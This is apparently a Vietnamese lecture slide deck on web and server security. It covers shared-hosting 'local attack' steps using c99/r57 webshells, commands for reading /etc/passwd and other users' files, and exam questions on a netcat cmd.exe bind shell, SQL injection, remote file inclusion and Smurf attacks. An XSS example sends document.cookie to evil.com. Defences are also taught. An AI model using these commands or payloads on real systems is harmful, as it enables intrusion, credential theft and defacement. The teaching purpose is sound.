  • 122. II. Tấn công và phòng tránh Local Attack Khái niệm: là tấn công từ nội bộ bên trong. Dùng website bị lỗi bảo mật để tấn công sang các website khác trong cùng một server. Công cụ hỗ trợ: Shell r57 hay shell c99 (vì nó mạnh và dễ sử dụng)
  • 123. II. Tấn công và phòng tránh Local Attack Shell c99
  • 124. II. Tấn công và phòng tránh Local Attack Shell R57
  • 125. II. Tấn công và phòng tránh Local Attack Các bước thực hiện tấn công. Bước 1: Xác định các website cần tấn công. Bước 2: Xác định các website đặt cùng server với mục tiêu. Bước 3: Tìm cách khai thác một trong các website đặt chung server với mục tiêu. Khai thác được 1 trong số các website đó. Tìm cách upload webshell hoặc thực thi shell code.
  • 126. II. Tấn công và phòng tránh Local Attack Các bước thực hiện tấn công. Bước 4: Thành công có webshell, kiểm tra quyền của user hiện tại.
  • 127. II. Tấn công và phòng tránh Local Attack Các bước thực hiện tấn công. Bước 5: Đã có đủ quyền, tiến hành đọc file config, tìm user/password, deface mục tiêu.
  • 128. II. Tấn công và phòng tránh Local Attack Các lệnh thường dùng để Local attack: - Liệt kê các user có trên server: cat /etc/passwd. - Xem thư mục public_html của user. dir /home/user/public_html/ - Xem nội dung file của một user khác: cat /home/tên user cần local/public_html/index.php.
  • 129. II. Tấn công và phòng tránh Local Attack Cách phòng chống: 1. Thường xuyên backup dữ liệu (giảm thiệt hại khi bị drop database). 2. Bỏ quyền DROP database của user.
  • 130. II. Tấn công và phòng tránh Local Attack 3. Đặt safemode on và disable 1 số hàm nguy hiểm = cách tạo file php.ini với nội dung sau safe-mode = on display_errors = Off 4. Phân quyền cho các tập tin, thư mục của website một cách hợp lý. 5. Thường xuyên dò tìm shell code trong website và csdl.
  • 131. Sử dụng wireshark để bắt gói tin Đây là hình ảnh do Wireshark ghi lại khi theo dõi Traffic trên một Server. Cho biết trong đoạn Traffic này, kẻ tấn công đang cố gắng khai thác lỗ hổng trên server để mở cổng 4444 và cố gắng kết nối từ ngoài vào. Hãy cho biết : 1. Gói tin số bao nhiêu trong đoạn traffic có khả năng chứa lệnh để mở cổng ? 2. Kẻ tấn công đã mở đuợc cổng 4444 chưa ? Vì sao ?
  • 132. Câu hỏi Đây là hình ảnh do Wireshark ghi lại khi theo dõi Traffic trên một Server. Cho biết trong đoạn Traffic này, kẻ tấn công đang cố gắng khai thác lỗ hổng trên server để mở cổng 4444 và cố gắng kết nối từ ngoài vào. Hãy cho biết : 1. Gói tin số bao nhiêu trong đoạn traffic có khả năng chứa lệnh để mở cổng ? 2. Kẻ tấn công đã mở đuợc cổng 4444 chưa ? Vì sao ?
  • 134. Câu hỏi Câu lệnh netcat sau đây có ý nghĩa gì: C:>nc -u -nvv -z 172.16.106.1 1-500
  • 135. Câu hỏi Giải thích câu lệnh netcat dưới đây: C:>nc -nvv -l -p 8080 -e cmd.exe
  • 136. Câu hỏi Đoạn code sau nằm trong file robot.txt khi lập trình một ứng dụng web, nó có ý nghĩa ra sao? User-Agent: Suzy-Spider Disallow: /dynamic Allow: /private/suzy-stuff Disallow: /private User-Agent: * Disallow: /dynamic Disallow: /private
  • 137. Câu hỏi Đoạn code dưới đây được dùng để kiểm tra đăng nhập vào một website, nếu dùng đoạn code này thì website sẽ bị lỗi gì? Cách khắc phục lỗi? <@language="vbscript"> <% dim conn,rs,log,pwd log=Request.form("login_name") pwd=Request.form("pass") set conn = Server.CreateObject("ADODB.Connection") conn.ConnectionString="provider=microsoft.jet.OLEDB.4.0;data source=c:foldermultiplex.mdb“ conn.Open set rs = Server.CreateObject("ADODB.Recordset") rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn If rs.EOF response.write("Login failed") Else response.write("Login successful") End if %>
  • 138. Câu hỏi Kẻ tấn công có địa chỉ IP là 12.8.0.1 muốn thực hiện tấn công Smurf vào máy cho địa chỉ 129.74.15.12. Kẻ tấn công sử dụng một mạng có địa chỉ 141.190.0.0/16 để thực hiện. Gói dữ liệu được được gửi từ máy kẻ tấn công sẽ có địa chỉ IP nguồn và IP đích là cặp nào?
  • 139. Câu hỏi Đoạn dưới là một đoạn code php của một website. Theo anh, chị thì đoạn code này có mắc lỗi bảo mật gì không ? Miêu tả qua về lỗi và đưa ra phương án khắc phục lỗi. <?php include(“$ex/index.php”); […] ?>
  • 141. Famous Hackers in History Ian Murphy Kevin Mitnick Johan Helsinguis Mark Abene Linus Torvalds Robert Morris
  • 142. TẤN CÔNG DẠNG CROSS SITE SCRIPTING (XSS)
  • 143. Tấn công XSS (Cross Site Scripting) Lỗ hổng XSS: ứng dụng web không kiểm soát sự có mặt của mã thực thi trái phép trong giá trị tham số đầu vào và/hoặc trong kết quả trả về trên thông điệp HTTP Response • Tấn công XSS: lợi dụng lỗ hổng XSS để chèn mã thực thi vào trang web do Web server sinh ra. • Hậu quả: trình duyệt của người dùng thông thường thực thi mã độc nằm trong thông điệp HTTP Response nhận được từ web server. Việc thực thi này có thể vượt qua chính sách SOP • Có thể thực hiện tương tự trên các dịch vụ email, trình đọc file PDF • Các phương phép chèn mã thực thi: - Reflected XSS - Stored XSS - DOM-based XSS
  • 144. Tấn công XSS (Cross Site Scripting)
  • 145. Ví dụ: Tấn công XSS (1) Giả sử trên website của mục tiêu cung cấp tính năng tìm kiếm. http://victim.com/search.php?term= • Đoạn mã thực thi trên server như sau: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?>: . . . </BODY> </HTML>
  • 146. Ví dụ: Tấn công XSS (2) Người dùng tải một trang web từ server của kẻ tấn công chưa đường dẫn sau http://victim.com/search.php?term=<script> document.location=‘http://evil.com/’+ document.cookie</script> • Điều gì xảy ra khi người dùng nhấp vào đường dẫn trên?
  • 147. Ví dụ: Tấn công XSS (3)
  • 148. Ví dụ: Tấn công XSS (4)
  • 149. Ví dụ: Tấn công XSS (5)
  • 150. Phòng chống tấn công XSS từ phía Server Sử dụng bộ lọc chuỗi giá trị đầu ra để loại các ký tự nhạy cảm: -Hãy cẩn thận với các mẹo vượt qua bộ lọc -Hãy lọc nhiều lần cho tới khi loại hết các từ khóa -Ví dụ: lọc 1 lần chuỗi <script <script src = “...” -> src = “...” Nhưng <scr<scriptipt src = “...” -> <script src = “...” -Một số công cụ khác: Dynamic Data Tainting, Static Analysis
  • 151. Phòng chống tấn công XSS từ phía Server https://www.owasp.org/index.php/XSS_Filter_Evasion_Ch eat_Sheet • https://www.owasp.org/index.php/XSS_(Cross_Site_Scrip ting)_Prevention_Cheat_Sheet • https://www.owasp.org/index.php/DOM_based_XSS_Prev ention_Cheat_Sheet